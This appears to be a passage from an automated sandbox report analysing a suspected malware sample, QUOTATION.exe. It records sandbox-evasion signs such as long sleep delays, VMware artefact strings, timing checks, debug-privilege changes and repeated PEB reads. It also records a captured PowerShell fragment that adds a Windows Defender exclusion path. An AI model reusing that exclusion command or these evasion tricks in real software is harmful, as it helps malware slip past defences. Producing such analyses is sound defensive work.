Source: C:\Users\user\Desktop\QUOTATION.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7319 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1199 Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Thread delayed: delay time: 38290 Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: QUOTATION.exe, 00000001.00000002.299134882.0000000002731000.00000004.00000001.sdmp Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: QUOTATION.exe, 00000001.00000002.299134882.0000000002731000.00000004.00000001.sdmp Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000013.00000000.308707041.00000000086C9000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000013.00000000.304892797.00000000067BE000.00000004.00000001.sdmp Binary or memory string: War&Prod_VMware_SATA
Source: QUOTATION.exe, 00000001.00000002.299134882.0000000002731000.00000004.00000001.sdmp Binary or memory string: vmware
Source: explorer.exe, 00000013.00000000.328622205.0000000008778000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 00000013.00000000.308707041.00000000086C9000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 00000013.00000000.304892797.00000000067BE000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000013.00000000.304892797.00000000067BE000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: explorer.exe, 00000013.00000000.308707041.00000000086C9000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: QUOTATION.exe, 00000001.00000002.299134882.0000000002731000.00000004.00000001.sdmp Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Anti Debugging:

barindex
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00409AB0 rdtsc 17_2_00409AB0
Enables debug privileges
Source: C:\Users\user\Desktop\QUOTATION.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD58EC mov eax, dword ptr fs:[00000030h] 17_2_00FD58EC
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB8E4 mov eax, dword ptr fs:[00000030h] 17_2_00FFB8E4
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB8E4 mov eax, dword ptr fs:[00000030h] 17_2_00FFB8E4
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD40E1 mov eax, dword ptr fs:[00000030h] 17_2_00FD40E1
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD40E1 mov eax, dword ptr fs:[00000030h] 17_2_00FD40E1
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD40E1 mov eax, dword ptr fs:[00000030h] 17_2_00FD40E1
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100513A mov eax, dword ptr fs:[00000030h] 17_2_0100513A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100513A mov eax, dword ptr fs:[00000030h] 17_2_0100513A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD9080 mov eax, dword ptr fs:[00000030h] 17_2_00FD9080
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100A185 mov eax, dword ptr fs:[00000030h] 17_2_0100A185
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01002990 mov eax, dword ptr fs:[00000030h] 17_2_01002990
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010061A0 mov eax, dword ptr fs:[00000030h] 17_2_010061A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010061A0 mov eax, dword ptr fs:[00000030h] 17_2_010061A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010569A6 mov eax, dword ptr fs:[00000030h] 17_2_010569A6
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010949A4 mov eax, dword ptr fs:[00000030h] 17_2_010949A4
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010949A4 mov eax, dword ptr fs:[00000030h] 17_2_010949A4
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010949A4 mov eax, dword ptr fs:[00000030h] 17_2_010949A4
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010949A4 mov eax, dword ptr fs:[00000030h] 17_2_010949A4
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF0050 mov eax, dword ptr fs:[00000030h] 17_2_00FF0050
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF0050 mov eax, dword ptr fs:[00000030h] 17_2_00FF0050
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010551BE mov eax, dword ptr fs:[00000030h] 17_2_010551BE
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010551BE mov eax, dword ptr fs:[00000030h] 17_2_010551BE
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010551BE mov eax, dword ptr fs:[00000030h] 17_2_010551BE
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010551BE mov eax, dword ptr fs:[00000030h] 17_2_010551BE
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA830 mov eax, dword ptr fs:[00000030h] 17_2_00FFA830
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA830 mov eax, dword ptr fs:[00000030h] 17_2_00FFA830
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA830 mov eax, dword ptr fs:[00000030h] 17_2_00FFA830
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA830 mov eax, dword ptr fs:[00000030h] 17_2_00FFA830
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FEB02A mov eax, dword ptr fs:[00000030h] 17_2_00FEB02A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FEB02A mov eax, dword ptr fs:[00000030h] 17_2_00FEB02A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FEB02A mov eax, dword ptr fs:[00000030h] 17_2_00FEB02A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FEB02A mov eax, dword ptr fs:[00000030h] 17_2_00FEB02A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010641E8 mov eax, dword ptr fs:[00000030h] 17_2_010641E8
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01057016 mov eax, dword ptr fs:[00000030h] 17_2_01057016
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01057016 mov eax, dword ptr fs:[00000030h] 17_2_01057016
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01057016 mov eax, dword ptr fs:[00000030h] 17_2_01057016
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDB1E1 mov eax, dword ptr fs:[00000030h] 17_2_00FDB1E1
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDB1E1 mov eax, dword ptr fs:[00000030h] 17_2_00FDB1E1
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDB1E1 mov eax, dword ptr fs:[00000030h] 17_2_00FDB1E1
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A4015 mov eax, dword ptr fs:[00000030h] 17_2_010A4015
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A4015 mov eax, dword ptr fs:[00000030h] 17_2_010A4015
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100002D mov eax, dword ptr fs:[00000030h] 17_2_0100002D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100002D mov eax, dword ptr fs:[00000030h] 17_2_0100002D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100002D mov eax, dword ptr fs:[00000030h] 17_2_0100002D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100002D mov eax, dword ptr fs:[00000030h] 17_2_0100002D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100002D mov eax, dword ptr fs:[00000030h] 17_2_0100002D
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov ecx, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov ecx, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov eax, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov ecx, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov ecx, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov eax, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov ecx, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov ecx, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov eax, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov ecx, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov ecx, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF99BF mov eax, dword ptr fs:[00000030h] 17_2_00FF99BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01092073 mov eax, dword ptr fs:[00000030h] 17_2_01092073
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFC182 mov eax, dword ptr fs:[00000030h] 17_2_00FFC182
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A1074 mov eax, dword ptr fs:[00000030h] 17_2_010A1074
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01053884 mov eax, dword ptr fs:[00000030h] 17_2_01053884
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01053884 mov eax, dword ptr fs:[00000030h] 17_2_01053884
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDB171 mov eax, dword ptr fs:[00000030h] 17_2_00FDB171
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDB171 mov eax, dword ptr fs:[00000030h] 17_2_00FDB171
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDC962 mov eax, dword ptr fs:[00000030h] 17_2_00FDC962
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010020A0 mov eax, dword ptr fs:[00000030h] 17_2_010020A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010020A0 mov eax, dword ptr fs:[00000030h] 17_2_010020A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010020A0 mov eax, dword ptr fs:[00000030h] 17_2_010020A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010020A0 mov eax, dword ptr fs:[00000030h] 17_2_010020A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010020A0 mov eax, dword ptr fs:[00000030h] 17_2_010020A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010020A0 mov eax, dword ptr fs:[00000030h] 17_2_010020A0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010190AF mov eax, dword ptr fs:[00000030h] 17_2_010190AF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB944 mov eax, dword ptr fs:[00000030h] 17_2_00FFB944
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFB944 mov eax, dword ptr fs:[00000030h] 17_2_00FFB944
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100F0BF mov ecx, dword ptr fs:[00000030h] 17_2_0100F0BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100F0BF mov eax, dword ptr fs:[00000030h] 17_2_0100F0BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100F0BF mov eax, dword ptr fs:[00000030h] 17_2_0100F0BF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106B8D0 mov eax, dword ptr fs:[00000030h] 17_2_0106B8D0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106B8D0 mov ecx, dword ptr fs:[00000030h] 17_2_0106B8D0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106B8D0 mov eax, dword ptr fs:[00000030h] 17_2_0106B8D0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106B8D0 mov eax, dword ptr fs:[00000030h] 17_2_0106B8D0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106B8D0 mov eax, dword ptr fs:[00000030h] 17_2_0106B8D0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0106B8D0 mov eax, dword ptr fs:[00000030h] 17_2_0106B8D0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF4120 mov eax, dword ptr fs:[00000030h] 17_2_00FF4120
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF4120 mov eax, dword ptr fs:[00000030h] 17_2_00FF4120
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF4120 mov eax, dword ptr fs:[00000030h] 17_2_00FF4120
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF4120 mov eax, dword ptr fs:[00000030h] 17_2_00FF4120
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF4120 mov ecx, dword ptr fs:[00000030h] 17_2_00FF4120
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD9100 mov eax, dword ptr fs:[00000030h] 17_2_00FD9100
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD9100 mov eax, dword ptr fs:[00000030h] 17_2_00FD9100
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD9100 mov eax, dword ptr fs:[00000030h] 17_2_00FD9100
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109131B mov eax, dword ptr fs:[00000030h] 17_2_0109131B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FEAAB0 mov eax, dword ptr fs:[00000030h] 17_2_00FEAAB0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FEAAB0 mov eax, dword ptr fs:[00000030h] 17_2_00FEAAB0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A8B58 mov eax, dword ptr fs:[00000030h] 17_2_010A8B58
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD52A5 mov eax, dword ptr fs:[00000030h] 17_2_00FD52A5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD52A5 mov eax, dword ptr fs:[00000030h] 17_2_00FD52A5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD52A5 mov eax, dword ptr fs:[00000030h] 17_2_00FD52A5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD52A5 mov eax, dword ptr fs:[00000030h] 17_2_00FD52A5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD52A5 mov eax, dword ptr fs:[00000030h] 17_2_00FD52A5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01003B7A mov eax, dword ptr fs:[00000030h] 17_2_01003B7A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01003B7A mov eax, dword ptr fs:[00000030h] 17_2_01003B7A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109138A mov eax, dword ptr fs:[00000030h] 17_2_0109138A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0108D380 mov ecx, dword ptr fs:[00000030h] 17_2_0108D380
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100138B mov eax, dword ptr fs:[00000030h] 17_2_0100138B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100138B mov eax, dword ptr fs:[00000030h] 17_2_0100138B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100138B mov eax, dword ptr fs:[00000030h] 17_2_0100138B
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100B390 mov eax, dword ptr fs:[00000030h] 17_2_0100B390
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01002397 mov eax, dword ptr fs:[00000030h] 17_2_01002397
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01004BAD mov eax, dword ptr fs:[00000030h] 17_2_01004BAD
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01004BAD mov eax, dword ptr fs:[00000030h] 17_2_01004BAD
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01004BAD mov eax, dword ptr fs:[00000030h] 17_2_01004BAD
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A5BA5 mov eax, dword ptr fs:[00000030h] 17_2_010A5BA5
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD9240 mov eax, dword ptr fs:[00000030h] 17_2_00FD9240
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD9240 mov eax, dword ptr fs:[00000030h] 17_2_00FD9240
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD9240 mov eax, dword ptr fs:[00000030h] 17_2_00FD9240
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD9240 mov eax, dword ptr fs:[00000030h] 17_2_00FD9240
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010553CA mov eax, dword ptr fs:[00000030h] 17_2_010553CA
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010553CA mov eax, dword ptr fs:[00000030h] 17_2_010553CA
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA229 mov eax, dword ptr fs:[00000030h] 17_2_00FFA229
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA229 mov eax, dword ptr fs:[00000030h] 17_2_00FFA229
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA229 mov eax, dword ptr fs:[00000030h] 17_2_00FFA229
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA229 mov eax, dword ptr fs:[00000030h] 17_2_00FFA229
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA229 mov eax, dword ptr fs:[00000030h] 17_2_00FFA229
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA229 mov eax, dword ptr fs:[00000030h] 17_2_00FFA229
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA229 mov eax, dword ptr fs:[00000030h] 17_2_00FFA229
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA229 mov eax, dword ptr fs:[00000030h] 17_2_00FFA229
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA229 mov eax, dword ptr fs:[00000030h] 17_2_00FFA229
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010003E2 mov eax, dword ptr fs:[00000030h] 17_2_010003E2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010003E2 mov eax, dword ptr fs:[00000030h] 17_2_010003E2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010003E2 mov eax, dword ptr fs:[00000030h] 17_2_010003E2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010003E2 mov eax, dword ptr fs:[00000030h] 17_2_010003E2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010003E2 mov eax, dword ptr fs:[00000030h] 17_2_010003E2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010003E2 mov eax, dword ptr fs:[00000030h] 17_2_010003E2
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FF3A1C mov eax, dword ptr fs:[00000030h] 17_2_00FF3A1C
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDAA16 mov eax, dword ptr fs:[00000030h] 17_2_00FDAA16
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDAA16 mov eax, dword ptr fs:[00000030h] 17_2_00FDAA16
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010823E3 mov ecx, dword ptr fs:[00000030h] 17_2_010823E3
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010823E3 mov ecx, dword ptr fs:[00000030h] 17_2_010823E3
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010823E3 mov eax, dword ptr fs:[00000030h] 17_2_010823E3
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD5210 mov eax, dword ptr fs:[00000030h] 17_2_00FD5210
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD5210 mov ecx, dword ptr fs:[00000030h] 17_2_00FD5210
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD5210 mov eax, dword ptr fs:[00000030h] 17_2_00FD5210
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FD5210 mov eax, dword ptr fs:[00000030h] 17_2_00FD5210
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE8A0A mov eax, dword ptr fs:[00000030h] 17_2_00FE8A0A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFDBE9 mov eax, dword ptr fs:[00000030h] 17_2_00FFDBE9
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109AA16 mov eax, dword ptr fs:[00000030h] 17_2_0109AA16
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109AA16 mov eax, dword ptr fs:[00000030h] 17_2_0109AA16
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01014A2C mov eax, dword ptr fs:[00000030h] 17_2_01014A2C
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01014A2C mov eax, dword ptr fs:[00000030h] 17_2_01014A2C
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01064257 mov eax, dword ptr fs:[00000030h] 17_2_01064257
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0109EA55 mov eax, dword ptr fs:[00000030h] 17_2_0109EA55
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0108B260 mov eax, dword ptr fs:[00000030h] 17_2_0108B260
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0108B260 mov eax, dword ptr fs:[00000030h] 17_2_0108B260
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_010A8A62 mov eax, dword ptr fs:[00000030h] 17_2_010A8A62
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE1B8F mov eax, dword ptr fs:[00000030h] 17_2_00FE1B8F
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FE1B8F mov eax, dword ptr fs:[00000030h] 17_2_00FE1B8F
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0101927A mov eax, dword ptr fs:[00000030h] 17_2_0101927A
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100D294 mov eax, dword ptr fs:[00000030h] 17_2_0100D294
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100D294 mov eax, dword ptr fs:[00000030h] 17_2_0100D294
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDDB60 mov ecx, dword ptr fs:[00000030h] 17_2_00FDDB60
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDF358 mov eax, dword ptr fs:[00000030h] 17_2_00FDF358
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0100FAB0 mov eax, dword ptr fs:[00000030h] 17_2_0100FAB0
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FDDB40 mov eax, dword ptr fs:[00000030h] 17_2_00FDDB40
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01002ACB mov eax, dword ptr fs:[00000030h] 17_2_01002ACB
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01002AE4 mov eax, dword ptr fs:[00000030h] 17_2_01002AE4
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_01094AEF mov eax, dword ptr fs:[00000030h] 17_2_01094AEF
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_00FFA309 mov eax, dword ptr fs:[00000030h] 17_2_00FFA309
